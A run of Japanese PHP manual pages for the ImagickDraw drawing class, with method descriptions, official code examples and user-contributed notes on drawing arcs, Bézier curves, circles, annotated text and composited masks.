  • ImagickDraw::getFontStyle — フォントのスタイルを返す
  • ImagickDraw::getFontWeight — フォントの重さを返す
  • ImagickDraw::getGravity — テキストの配置時の gravity を返す
  • ImagickDraw::getStrokeAntialias — 現在の縁取りのアンチエイリアス設定を返す
  • ImagickDraw::getStrokeColor — オブジェクトの縁取りに使用する色を返す
  • ImagickDraw::getStrokeDashArray — パスの描画に使用する破線のパターンを表す配列を返す
  • ImagickDraw::getStrokeDashOffset — 破線パターンにおける破線の開始オフセットを返す
  • ImagickDraw::getStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を返す
  • ImagickDraw::getStrokeLineJoin — パスの角を描画する際に使用する形状を返す
  • ImagickDraw::getStrokeMiterLimit — マイターリミットを返す
  • ImagickDraw::getStrokeOpacity — オブジェクトの枠線の透明度を返す
  • ImagickDraw::getStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を返す
  • ImagickDraw::getTextAlignment — テキストの配置を返す
  • ImagickDraw::getTextAntialias — 現在のテキストのアンチエイリアス設定を返す
  • ImagickDraw::getTextDecoration — テキストの装飾を返す
  • ImagickDraw::getTextEncoding — テキストによる注記の際に使用するコードセットを返す
  • ImagickDraw::getTextInterlineSpacing — Description
  • ImagickDraw::getTextInterwordSpacing — Description
  • ImagickDraw::getTextKerning — Description
  • ImagickDraw::getTextUnderColor — テキストの背景色を返す
  • ImagickDraw::getVectorGraphics — ベクターグラフィックを含む文字列を返す
  • ImagickDraw::line — 直線を描画する
  • ImagickDraw::matte — 画像の opacity チャネル上に描画する
  • ImagickDraw::pathClose — パス要素を現在のパスに追加する
  • ImagickDraw::pathCurveToAbsolute — 三次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToQuadraticBezierAbsolute — 二次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToQuadraticBezierRelative — 二次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToQuadraticBezierSmoothAbsolute — 二次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToQuadraticBezierSmoothRelative — 二次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToRelative — 三次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToSmoothAbsolute — 三次ベジエ曲線を描画する
  • ImagickDraw::pathCurveToSmoothRelative — 三次ベジエ曲線を描画する
  • ImagickDraw::pathEllipticArcAbsolute — 楕円弧を描画する
  • ImagickDraw::pathEllipticArcRelative — 楕円弧を描画する
  • ImagickDraw::pathFinish — 現在のパスを終了する
  • ImagickDraw::pathLineToAbsolute — 直線パスを描画する
  • ImagickDraw::pathLineToHorizontalAbsolute — 水平直線パスを描画する
  • ImagickDraw::pathLineToHorizontalRelative — 水平直線パスを描画する
  • ImagickDraw::pathLineToRelative — 直線パスを描画する
  • ImagickDraw::pathLineToVerticalAbsolute — 垂直直線パスを描画する
  • ImagickDraw::pathLineToVerticalRelative — 垂直直線パスを描画する
  • ImagickDraw::pathMoveToAbsolute — 新しいサブパスを開始する
  • ImagickDraw::pathMoveToRelative — 新しいサブパスを開始する
  • ImagickDraw::pathStart — パス描画リストの開始を宣言する
  • ImagickDraw::point — 点を描画する
  • ImagickDraw::polygon — 多角形を描画する
  • ImagickDraw::polyline — 線分群を描画する
  • ImagickDraw::pop — スタック内の現在の ImagickDraw を破棄し、事前に push された ImagickDraw を返す
  • ImagickDraw::popClipPath — クリップパスの定義を終了する
  • ImagickDraw::popDefs — 定義リストを終了する
  • ImagickDraw::popPattern — パターン定義を終了する
  • ImagickDraw::push — 現在の ImagickDraw をコピーしてスタックに格納する
  • ImagickDraw::pushClipPath — クリップパスの定義を開始する
  • ImagickDraw::pushDefs — 後に続くコマンドが、処理の前に名前つき要素を作成することを示す
  • ImagickDraw::pushPattern — 後に続く ImagickDraw::opPattern() までのコマンドが、名前付きパターンを構成することを示す
  • ImagickDraw::rectangle — 矩形を描画する
  • ImagickDraw::render — これまでのすべての描画コマンドを画像上にレンダリングする
  • ImagickDraw::resetVectorGraphics — Description
  • ImagickDraw::rotate — 指定した回転を現在の座標空間に適用する
  • ImagickDraw::roundRectangle — 角が丸い矩形を描画する
  • ImagickDraw::scale — 倍率を調整する
  • ImagickDraw::setClipPath — 指定した名前のクリッピングパスを画像に関連付ける
  • ImagickDraw::setClipRule — クリッピングパスで使用する多角形塗りつぶしルールを設定する
  • ImagickDraw::setClipUnits — クリップパスの単位の解釈を設定する
  • ImagickDraw::setFillAlpha — 色やテクスチャによる塗りつぶしの際の透過度を設定する
  • ImagickDraw::setFillColor — オブジェクトの塗りつぶしに使用する色を設定する
  • ImagickDraw::setFillOpacity — 色やテクスチャによる塗りつぶしの際の透過度を設定する
  • ImagickDraw::setFillPatternURL — オブジェクトの塗りつぶしパターンとして使用する URL を設定する
  • ImagickDraw::setFillRule — 多角形の描画時に使用する塗りつぶしルールを設定する
  • ImagickDraw::setFont — テキストによる注記を行う際に使用するフォントを設定する
  • ImagickDraw::setFontFamily — テキストによる注記を行う際に使用するフォントファミリーを設定する
  • ImagickDraw::setFontSize — テキストによる注記を行う際に使用するフォントのポイント数を設定する
  • ImagickDraw::setFontStretch — テキストによる注記を行う際に使用するフォントの伸縮を設定する
  • ImagickDraw::setFontStyle — テキストによる注記を行う際に使用するフォントのスタイルを設定する
  • ImagickDraw::setFontWeight — フォントの重さを設定する
  • ImagickDraw::setGravity — テキストの配置時の gravity を設定する
  • ImagickDraw::setResolution — Description
  • ImagickDraw::setStrokeAlpha — オブジェクトの枠線の透明度を指定する
  • ImagickDraw::setStrokeAntialias — 縁取りの枠線をアンチエイリアス処理するかどうかを制御する
  • ImagickDraw::setStrokeColor — オブジェクトの縁取りに使用する色を設定する
  • ImagickDraw::setStrokeDashArray — パスの描画に使用する破線のパターンを指定する
  • ImagickDraw::setStrokeDashOffset — 破線パターンにおける破線の開始オフセットを指定する
  • ImagickDraw::setStrokeLineCap — 開かれたサブパスを描画する際に使用する端点の形状を指定する
  • ImagickDraw::setStrokeLineJoin — パスの角を描画する際に使用する形状を指定する
  • ImagickDraw::setStrokeMiterLimit — マイターリミットを指定する
  • ImagickDraw::setStrokeOpacity — オブジェクトの枠線の透明度を指定する
  • ImagickDraw::setStrokePatternURL — オブジェクトの枠線の描画に使用するパターンを設定する
  • ImagickDraw::setStrokeWidth — オブジェクトの枠線の描画に使用する線の幅を設定する
  • ImagickDraw::setTextAlignment — テキストの配置を指定する
  • ImagickDraw::setTextAntialias — テキストをアンチエイリアス処理するかどうかを制御する
  • ImagickDraw::setTextDecoration — 装飾を指定する
  • ImagickDraw::setTextEncoding — テキストのコードセットを指定する
  • ImagickDraw::setTextInterlineSpacing — Description
  • ImagickDraw::setTextInterwordSpacing — Description
  • ImagickDraw::setTextKerning — Description
  • ImagickDraw::setTextUnderColor — 背景の矩形の色を指定する
  • ImagickDraw::setVectorGraphics — ベクターグラフィックを設定する
  • ImagickDraw::setViewbox — キャンバス全体の大きさを設定する
  • ImagickDraw::skewX — 現在の座標系を水平方向に傾ける
  • ImagickDraw::skewY — 現在の座標系を垂直方向に傾ける
  • ImagickDraw::translate — 現在の座標系に変換を適用する

User Contributed Notes

There are no user contributed notes for this page.


現在のアフィン変換行列を設定する

  • ≪ ImagickDraw
  • ImagickDraw::annotation ≫
  • PHP Manual
  • ImagickDraw
  • 現在のアフィン変換行列を設定する

ImagickDraw::affine

(PECL imagick 2, PECL imagick 3)

ImagickDraw::affine — 現在のアフィン変換行列を設定する

説明

public ImagickDraw::affine ( array $affine ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在のアフィン変換行列を、指定したものに設定します。

パラメータ

affine

アフィン行列のパラメータ。

返り値

値を返しません。

例

例1 ImagickDraw::affine()

<?php
function affine($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeWidth(1);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);

    $PI = 3.141592653589794;
    $angle = 60 * $PI / 360;

    //Scale the drawing co-ordinates.
    $affineScale = array("sx" => 1.75, "sy" => 1.75, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

    //Shear the drawing co-ordinates.
    $affineShear = array("sx" => 1, "sy" => 1, "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0);

    //Rotate the drawing co-ordinates. The shear affine matrix
    //produces incorrectly scaled drawings.
    $affineRotate = array("sx" => cos($angle), "sy" => cos($angle), "rx" => sin($angle), "ry" => -sin($angle), "tx" => 0, "ty" => 0,);

    //Translate (offset) the drawing
    $affineTranslate = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 30, "ty" => 30);

    //The identiy affine matrix
    $affineIdentity = array("sx" => 1, "sy" => 1, "rx" => 0, "ry" => 0, "tx" => 0, "ty" => 0);

    $examples = [$affineScale, $affineShear, $affineRotate, $affineTranslate, $affineIdentity,];

    $count = 0;

    foreach ($examples as $example) {
        $draw->push();
        $draw->translate(($count % 2) * 250, intval($count / 2) * 250);
        $draw->translate(100, 100);
        $draw->affine($example);
        $draw->rectangle(-50, -50, 50, 50);
        $draw->pop();
        $count++;
    }

    //Create an image object which the draw commands can be rendered into
    $image = new \Imagick();
    $image->newImage(500, 750, $backgroundColor);
    $image->setImageFormat("png");

    //Render the draw commands in the ImagickDraw object
    //into the image.
    $image->drawImage($draw);

    //Send the image to the browser
    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

There are no user contributed notes for this page.


画像上にテキストを描画する

  • ≪ ImagickDraw::affine
  • ImagickDraw::arc ≫
  • PHP Manual
  • ImagickDraw
  • 画像上にテキストを描画する

ImagickDraw::annotation

(PECL imagick 2, PECL imagick 3)

ImagickDraw::annotation — 画像上にテキストを描画する

説明

public ImagickDraw::annotation ( float $x , float $y , string $text ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像上にテキストを描画します。

パラメータ

x

テキストを描画する x 座標。

y

テキストを描画する y 座標。

text

画像上に描画するテキスト。

返り値

値を返しません。

User Contributed Notes

web at synaptech dot fr 17-Jul-2013 10:31
In some cases the (custom) font can be truncated on the side parts, especially the handwritten ones.
To improve the above note from Anonymous on "how to create a header image", I've changed this part of the code:

<?php
/* Create text */
$draw->annotation( $metrics['boundingBox']['y2'], $metrics['ascender'], $text );

/* Create image */
$image->newImage( $metrics['textWidth'] + $metrics['boundingBox']['y2'], $metrics['textHeight'], $background );
?>
Anonymous 24-Oct-2009 10:28
Here's how to create a header image and write it to file.  This took me a while to figure out.  I hope this helps.

<?php

/* Text to write */
$text = "Hello World!";

/* Create Imagick objects */
$image = new Imagick();
$draw = new ImagickDraw();
$color = new ImagickPixel('#000000');
$background = new ImagickPixel('none'); // Transparent

/* Font properties */
$draw->setFont('Arial');
$draw->setFontSize(50);
$draw->setFillColor($color);
$draw->setStrokeAntialias(true);
$draw->setTextAntialias(true);

/* Get font metrics */
$metrics = $image->queryFontMetrics($draw, $text);

/* Create text */
$draw->annotation(0, $metrics['ascender'], $text);

/* Create image */
$image->newImage($metrics['textWidth'], $metrics['textHeight'], $background);
$image->setImageFormat('png');
$image->drawImage($draw);

/* Save image */
file_put_contents('/path/to/file.png', $image);
?>
use_contact_form at Jonas-Kress dot de 09-Jul-2009 03:33
may help someone...

<?php
    /**
     * Split the given text into rows fitting the given maxWidth
     *
     * @param unknown_type $draw
     * @param unknown_type $text
     * @param unknown_type $maxWidth
     * @return array
     */
    private function getTextRows($draw, $text, $maxWidth)
    {
        $words = explode(" ", $text);

        $lines = array();
        $i=0;
        while ($i < count($words))
        {//as long as there are words

            $line = "";
            do
            {//append words to line until the fit in size
                if($line != ""){
                    $line .= " ";
                }
                $line .= $words[$i];

                $i++;
                if(($i) == count($words)){
                    break;//last word -> break
                }

                //messure size of line + next word
                $linePreview = $line." ".$words[$i];
                $metrics = $this->canvas->queryFontMetrics($draw, $linePreview);
                //echo $line."($i)".$metrics["textWidth"].":".$maxWidth."<br>";

            }while($metrics["textWidth"] <= $maxWidth);

            //echo "<hr>".$line."<br>";
            $lines[] = $line;
        }

        //var_export($lines);
        return $lines;
    }
?>
Anonymous 30-Jun-2009 08:08
You can use this method to break your text so that it'll fit a certain $maxWidth.

<?php
/**
 * @param string $text
 * @param int $maxWidth
 */
protected function _fitText($text, $maxWidth)
{
    $im = new Imagick();
    $im->newImage($this->_width, $this->_height, "none");

    $lines = explode(PHP_EOL, trim($text));
    $DEBUG_LOOP = 0;

    for ($k = 0; $k < count($lines); ++$k) {
        do {
            $drawText = new ImagickDraw();
            // set your font settings like size, family, .. here
            $metrics  = $im->queryFontMetrics($drawText, $lines[$k]);
            $fits     = $metrics["textWidth"] <= $maxWidth;

            if ($fits) {
                break;
            }

            $pos = mb_strrpos($lines[$k], " ");
            if ($pos === false) {
                throw new RuntimeException("can not make it fit");
            }
            if (!isset($lines[$k + 1])) {
                $lines[$k + 1] = null;
            }
            $lines[$k + 1] = trim(mb_substr($lines[$k], $pos + 1) . " " . $lines[$k + 1]);
            $lines[$k]     = trim(mb_substr($lines[$k], 0, $pos));

            if (++$DEBUG_LOOP >= 200) {
                throw new RuntimeException("infinite loop");
            }
        } while (!$fits);
    }
    $text     = implode(PHP_EOL, $lines);
    $drawText = new ImagickDraw();
    // set your font settings like size, family, .. here again!
    $metrics  = $im->queryFontMetrics($drawText, $text);
    $metrics["text"] = $text;
    assert('$metrics["textWidth"] <= $maxWidth');
    return $metrics;
}
?>


円弧を描画する

  • ≪ ImagickDraw::annotation
  • ImagickDraw::bezier ≫
  • PHP Manual
  • ImagickDraw
  • 円弧を描画する

ImagickDraw::arc

(PECL imagick 2, PECL imagick 3)

ImagickDraw::arc — 円弧を描画する

説明

public ImagickDraw::arc ( float $sx , float $sy , float $ex , float $ey , float $sd , float $ed ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像上の指定した矩形内に円弧を描画します。

パラメータ

sx

矩形の開始位置の x 座標。

sy

矩形の開始位置の y 座標。

ex

矩形の終了位置の x 座標。

ey

矩形の終了位置の y 座標。

sd

開始位置の角度。

ed

終了位置の角度。

返り値

値を返しません。

例

例1 ImagickDraw::arc()

<?php
function arc($strokeColor, $fillColor, $backgroundColor, $startX, $startY, $endX, $endY, $startAngle, $endAngle) {

    //Create a ImagickDraw object to draw into.
    $draw = new \ImagickDraw();
    $draw->setStrokeWidth(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setStrokeWidth(2);

    $draw->arc($startX, $startY, $endX, $endY, $startAngle, $endAngle);

    //Create an image object which the draw commands can be rendered into
    $image = new \Imagick();
    $image->newImage(IMAGE_WIDTH, IMAGE_HEIGHT, $backgroundColor);
    $image->setImageFormat("png");

    //Render the draw commands in the ImagickDraw object
    //into the image.
    $image->drawImage($draw);

    //Send the image to the browser
    header("Content-Type: image/png");
    echo $image->getImageBlob();
}

?>

User Contributed Notes

skmanji at manji dot org 24-Jun-2011 06:30
You can do a pie chart with a combination of arc and polygon functions (there really ought to be a built-in command for this)

<?php
//  create a new canvas object and a white image
$canvas     = new Imagick();
$canvas->newImage(600, 600, 'grey');

image_pie($canvas, 300, 300, 200, 0, 45, 'red');
image_pie($canvas, 300, 300, 200, 45, 125, 'green');
image_pie($canvas, 300, 300, 200, 125, 225, 'blue');
image_pie($canvas, 300, 300, 200, 225, 300, 'cyan');
image_pie($canvas, 300, 300, 200, 300, 360, 'orange');

//  output the image
$canvas->setImageFormat('png');
header("Content-Type: image/png");
echo $canvas;
exit;

// FUNCTIONS

function image_arc( &$canvas, $sx, $sy, $ex, $ey, $sd, $ed, $color = 'black' ) {

    //  draw arc on canvas
    //  $sx, $sy, $ex, $ey specify a bounding rectangle of a circle with the origin in the middle
    //  $sd, and $ed specify start and end angles in degrees

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->arc($sx, $sy, $ex, $ey, $sd, $ed);
    $canvas->drawImage($draw);
}

function image_pie( &$canvas, $ox, $oy, $radius, $sd, $ed, $color = 'black' ) {

    //  draw pie segment
    //  $ox, $oy specify the circle origin
    //  $sd, and $ed specify start and end angles in degrees
    //  degrees start from 0 = East, and go clockwise

    //  position 1 - convert degrees to radians and get first point on perimeter of circle
    $x1     = $radius * cos($sd / 180 * 3.1416);
    $y1     = $radius * sin($sd / 180 * 3.1416);

    //  position 2 - convert degrees to radians and get second point on perimeter of circle
    $x2     = $radius * cos($ed / 180 * 3.1416);
    $y2     = $radius * sin($ed / 180 * 3.1416);

    //  draw segment triangle - specify the 3 points and draw a polygon
    $points = array(array('x' => $ox, 'y' => $oy), array('x' => $ox + $x1, 'y' => $oy + $y1), array('x' => $ox + $x2, 'y' => $oy + $y2));

    image_polygon($canvas, $points, $color);

    //  draw corrsesponding arc to complete the "pie" segment
    image_arc($canvas, $ox - $radius, $oy - $radius, $ox + $radius, $oy + $radius, $sd, $ed, $color);
}

function image_polygon( &$canvas, $points, $color = 'black' ) {

    //  draw a polygon on canvas

    $draw = new ImagickDraw();
    $draw->setFillColor($color);
    $draw->setStrokeColor($color);
    $draw->setStrokeWidth(1);
    $draw->polygon($points);
    $canvas->drawImage($draw);
}

?>


ベジエ曲線を描画する

  • ≪ ImagickDraw::arc
  • ImagickDraw::circle ≫
  • PHP Manual
  • ImagickDraw
  • ベジエ曲線を描画する

ImagickDraw::bezier

(PECL imagick 2, PECL imagick 3)

ImagickDraw::bezier — ベジエ曲線を描画する

説明

public ImagickDraw::bezier ( array $coordinates ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像上に点を指定してベジエ曲線を描画します。

パラメータ

coordinates

多次元配列。array( array( 'x' => 1, 'y' => 2 ), array( 'x' => 3, 'y' => 4 ) ) のような形式。

返り値

値を返しません。

例

例1 ImagickDraw::bezier()

<?php
function bezier($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $strokeColor = new \ImagickPixel($strokeColor);
    $fillColor = new \ImagickPixel($fillColor);

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);

    $smoothPointsSet = [
        [
            ['x' => 10.0 * 5, 'y' => 10.0 * 5],
            ['x' => 30.0 * 5, 'y' => 90.0 * 5],
            ['x' => 25.0 * 5, 'y' => 10.0 * 5],
            ['x' => 50.0 * 5, 'y' => 50.0 * 5],
        ],
        [
            ['x' => 50.0 * 5, 'y' => 50.0 * 5],
            ['x' => 75.0 * 5, 'y' => 90.0 * 5],
            ['x' => 70.0 * 5, 'y' => 10.0 * 5],
            ['x' => 90.0 * 5, 'y' => 40.0 * 5],
        ],
    ];

    foreach ($smoothPointsSet as $points) {
        $draw->bezier($points);
    }

    $disjointPoints = [
        [
            ['x' => 10 * 5, 'y' => 10 * 5],
            ['x' => 30 * 5, 'y' => 90 * 5],
            ['x' => 25 * 5, 'y' => 10 * 5],
            ['x' => 50 * 5, 'y' => 50 * 5],
        ],
        [
            ['x' => 50 * 5, 'y' => 50 * 5],
            ['x' => 80 * 5, 'y' => 50 * 5],
            ['x' => 70 * 5, 'y' => 10 * 5],
            ['x' => 90 * 5, 'y' => 40 * 5],
         ]
    ];
    $draw->translate(0, 200);

    foreach ($disjointPoints as $points) {
        $draw->bezier($points);
    }

    //Create an image object which the draw commands can be rendered into
    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");

    //Render the draw commands in the ImagickDraw object
    //into the image.
    $imagick->drawImage($draw);

    //Send the image to the browser
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 26-Jan-2014 04:19
This function requires at least 3 points. The following code fails when there are only two points left in the array:

<?php
$im = new Imagick ();
$points = array (array ('x' => 10, 'y' => 10), array ('x' => 20, 'y' => 10), array ('x' => 30, 'y' => 40), array ('x' => 40, 'y' => 20), array ('x' => 50, 'y' => 60));
$n = 0;
while (!empty ($points))
{
    $im->newImage (64, 64, "white");
    $draw = new ImagickDraw ();
    $draw->setFillColor ("none");
    $draw->setStrokeWidth (4);
    $draw->setStrokeColor ("black");
    $draw->setStrokeOpacity (0.9);
    $draw->setStrokeAntiAlias (true);
    $draw->bezier ($points);
    $im->drawImage ($draw);
    $im->writeImage ("IMG_$n.png");
    $draw->destroy ();
    $im->destroy ();
    echo count ($points) . ", $n: <img src=\"IMG_$n.png\"><br>";
    $n++;
    array_shift ($points);
}
?>
zombiebovine at gmail dot com 14-Sep-2009 03:43
How to use:

<?php
    $width =  200;
    $height = 200;
    $border = 2;

    $img = new Imagick();
    $img->newImage( $width, $height, new ImagickPixel( 'transparent' ) );

    $draw = new ImagickDraw();
    $draw->setStrokeColor( new ImagickPixel( 'black' ) );
    $draw->setStrokeWidth( 2 );
    $draw->setFillColor( new ImagickPixel( 'transparent' ) );

    // will fail in an obscure manner if the input data is invalid
    $points = array
    (
        array( 'x' => 0, 'y' => 200 ),
        array( 'x' => 0, 'y' => 0 ),
        array( 'x' => 200, 'y' => 200 ),
        array( 'x' => 200, 'y' => 0 )
    );

    $draw->bezier($points);

    $img->drawImage( $draw );
    $img->setImageFormat( "png" );

    header( "Content-Type: image/png" );
    echo $img;
?>


円を描画する

  • ≪ ImagickDraw::bezier
  • ImagickDraw::clear ≫
  • PHP Manual
  • ImagickDraw
  • 円を描画する

ImagickDraw::circle

(PECL imagick 2, PECL imagick 3)

ImagickDraw::circle — 円を描画する

説明

public ImagickDraw::circle ( float $ox , float $oy , float $px , float $py ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

画像上に円を描画します。

パラメータ

ox

原点の x 座標。

oy

原点の y 座標。

px

周囲の x 座標。

py

周囲の y 座標。

返り値

値を返しません。

例

例1 ImagickDraw::circle()

<?php
function circle($strokeColor, $fillColor, $backgroundColor, $originX, $originY, $endX, $endY) {

    //Create a ImagickDraw object to draw into.
    $draw = new \ImagickDraw();

    $strokeColor = new \ImagickPixel($strokeColor);
    $fillColor = new \ImagickPixel($fillColor);

    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);

    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);

    $draw->circle($originX, $originY, $endX, $endY);

    $imagick = new \Imagick();
    $imagick->newImage(500, 500, $backgroundColor);
    $imagick->setImageFormat("png");
    $imagick->drawImage($draw);

    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

SkepticaLee 27-Jan-2014 09:26
The four values required here are a bit confusing. After all, a circle is defined by three values: the x, y coordinates of the centre, and the radius, r.

The fourth value is redundant, but has to be given, otherwise the function fails. One way of coping with this redundancy is:

<?php
$draw = new ImagickDraw ();
//given that $x and $y are the coordinates of the centre, and $r the radius:
$draw->circle ($x, $y, $x + $r, $y);
?>

There are any number of actions which are synonymous with the last, including:
<?php
$draw->circle ($x, $y, $x, $y + $r);
$draw->circle ($x, $y, $x - $r, $y);
$draw->circle ($x, $y, $x, $y - $r);
// etc, etc.
?>

Hope this helps.
christian dot reinecke at web dot de 23-Jun-2009 06:31
This example creates a circle, one part green, one part red using kind of masks for transparency, which you might know from Photoshop. drawImage() is a quick helper for debug output (see code comments) to help you reproduce the process.

<?php
function drawImage(Imagick $im) {
    $im->setCompressionQuality(100);
    $im->setImageFormat("jpg");
    header("Content-Type: image/" . $im->getImageFormat());
    echo $im;
    exit;
}

// define red/green layer
$layer1 = new Imagick();
$layer1->newImage(100, 100, "none");

$red = new ImagickDraw();
$red->setFillColor("#FF0000");
$red->rectangle(0, 0, 50, 100);

$green = new ImagickDraw();
$green->setFillColor("#00FF00");
$green->rectangle(50, 0, 100, 100);

$layer1->drawImage($red);
$layer1->drawImage($green);

# debug output: two rectangles
# drawImage($layer1);

// define circle mask
$layer2 = new Imagick();
$layer2->newImage(100, 100, "none");

$circle = new ImagickDraw();
$circle->setFillColor("#FFFFFF");
$circle->circle(50, 50, 48, 98);

$layer2->drawImage($circle);

# debug output: the mask
# drawImage($layer2);

// use mask
$layer1->compositeImage($layer2, Imagick::COMPOSITE_DSTIN, 0, 0);

# debug output: the result of our mask usage
# drawImage($layer1);

// define background
$layer3 = new Imagick();
$layer3->newImage(100, 100, "none");

$layer3->compositeImage($layer1, Imagick::COMPOSITE_DEFAULT, 0, 0);

// define ring as background
$layer4 = new Imagick();
$layer4->newImage(100, 100, "white"); // this is our background

$ring1 = new ImagickDraw();
$ring1->setFillColor("black");
$ring1->circle(50, 50, 50, 99);

$layer4->drawImage($ring1);

# debug output: this is a black circle (not our mask, which is similar, but a little bit smaller)
# drawImage($layer4);

// use black circle as background (this creates our circle border)
$layer4->compositeImage($layer3, Imagick::COMPOSITE_DEFAULT, 0, 0);

# debug output: here we go with our circle border
# drawImage($layer4);

// draw separator between red and green rectangle (now semi circles)
$line = new ImagickDraw();
$line->setStrokeWidth(1);
$line->setStrokeColor("black");
$line->line(50, 1, 50, 99);

// add our separator line
$layer4->drawImage($line);

drawImage($layer4);
?>

To understand how the COMPOSITE_* constants effect the image merging process, see here:
http://www.imagemagick.org/Usage/compose/#duff-porter


ImagickDraw をクリアする

  • ≪ ImagickDraw::circle
  • ImagickDraw::clone ≫
  • PHP Manual
  • ImagickDraw
  • ImagickDraw をクリアする

ImagickDraw::clear

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clear — ImagickDraw をクリアする

説明

public ImagickDraw::clear ( ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ImagickDraw オブジェクト上のコマンドをすべてクリアし、 デフォルト設定で初期化します。

返り値

ImagickDraw オブジェクトを返します。

User Contributed Notes

There are no user contributed notes for this page.


指定した ImagickDraw オブジェクトの完全なコピーを作成する

  • ≪ ImagickDraw::clear
  • ImagickDraw::color ≫
  • PHP Manual
  • ImagickDraw
  • 指定した ImagickDraw オブジェクトの完全なコピーを作成する

ImagickDraw::clone

(PECL imagick 2, PECL imagick 3)

ImagickDraw::clone — 指定した ImagickDraw オブジェクトの完全なコピーを作成する

説明

public ImagickDraw::clone ( ) : ImagickDraw
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

指定した ImagickDraw オブジェクトの完全なコピーを作成します。

返り値

What the function returns, first on success, then on failure. See also the &return.success; entity

User Contributed Notes

There are no user contributed notes for this page.


画像上に色を描画する

  • ≪ ImagickDraw::clone
  • ImagickDraw::comment ≫
  • PHP Manual
  • ImagickDraw
  • 画像上に色を描画する

ImagickDraw::color

(PECL imagick 2, PECL imagick 3)

ImagickDraw::color — 画像上に色を描画する

説明

public ImagickDraw::color ( float $x , float $y , int $paintMethod ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の塗りつぶし色を使用して、 指定した開始位置から指定した方法で画像上に色を描画します。

パラメータ

x

描画位置の x 座標。

y

描画位置の y 座標。

paintMethod

PAINT_ 定数のいずれか。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


コメントを追加する

  • ≪ ImagickDraw::color
  • ImagickDraw::composite ≫
  • PHP Manual
  • ImagickDraw
  • コメントを追加する

ImagickDraw::comment

(PECL imagick 2, PECL imagick 3)

ImagickDraw::comment — コメントを追加する

説明

public ImagickDraw::comment ( string $comment ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

ベクター出力ストリームにコメントを追加します。

パラメータ

comment

ベクター出力ストリームに追加するコメント文字列。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


現在の画像上に別の画像を合成する

  • ≪ ImagickDraw::comment
  • ImagickDraw::__construct ≫
  • PHP Manual
  • ImagickDraw
  • 現在の画像上に別の画像を合成する

ImagickDraw::composite

(PECL imagick 2, PECL imagick 3)

ImagickDraw::composite — 現在の画像上に別の画像を合成する

説明

public ImagickDraw::composite ( int $compose , float $x , float $y , float $width , float $height , Imagick $compositeWand ) : bool
警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

現在の画像上に別の画像を合成します。 合成演算子、位置、サイズを指定します。

パラメータ

compose

合成演算子。COMPOSITE_ 定数のいずれか。

x

左上角の x 座標。

y

左上角の y 座標。

width

合成する画像の幅。

height

合成する画像の高さ。

compositeWand

合成する画像を取得する Imagick オブジェクト。

返り値

成功した場合に true を返します。

例

例1 ImagickDraw::composite()

<?php
function composite($strokeColor, $fillColor, $backgroundColor) {

    $draw = new \ImagickDraw();

    $draw->setStrokeColor($strokeColor);
    $draw->setFillColor($fillColor);
    $draw->setFillOpacity(1);
    $draw->setStrokeWidth(2);
    $draw->setFontSize(72);
    $draw->setStrokeOpacity(1);
    $draw->setStrokeColor($strokeColor);
    $draw->setStrokeWidth(2);
    $draw->setFont("../fonts/CANDY.TTF");
    $draw->setFontSize(140);
    $draw->rectangle(0, 0, 1000, 300);
    $draw->setFillColor('white');
    $draw->setfillopacity(1);
    $draw->annotation(50, 180, "Lorem Ipsum!");

    //Create an image object which the draw commands can be rendered into
    $imagick = new \Imagick();
    $imagick->newImage(1000, 302, $backgroundColor);
    $imagick->setImageFormat("png");

    //Render the draw commands in the ImagickDraw object
    //into the image.
    $imagick->drawImage($draw);

    //Send the image to the browser
    header("Content-Type: image/png");
    echo $imagick->getImageBlob();
}

?>

User Contributed Notes

christian dot reinecke at web dot de 23-Jun-2009 01:31
To see some examples how the COMPOSITE_* constants work, see this page:
http://www.imagemagick.org/Usage/compose/#duff-porter


ImagickDraw コンストラクタ

  • ≪ ImagickDraw::composite
  • ImagickDraw::destroy ≫
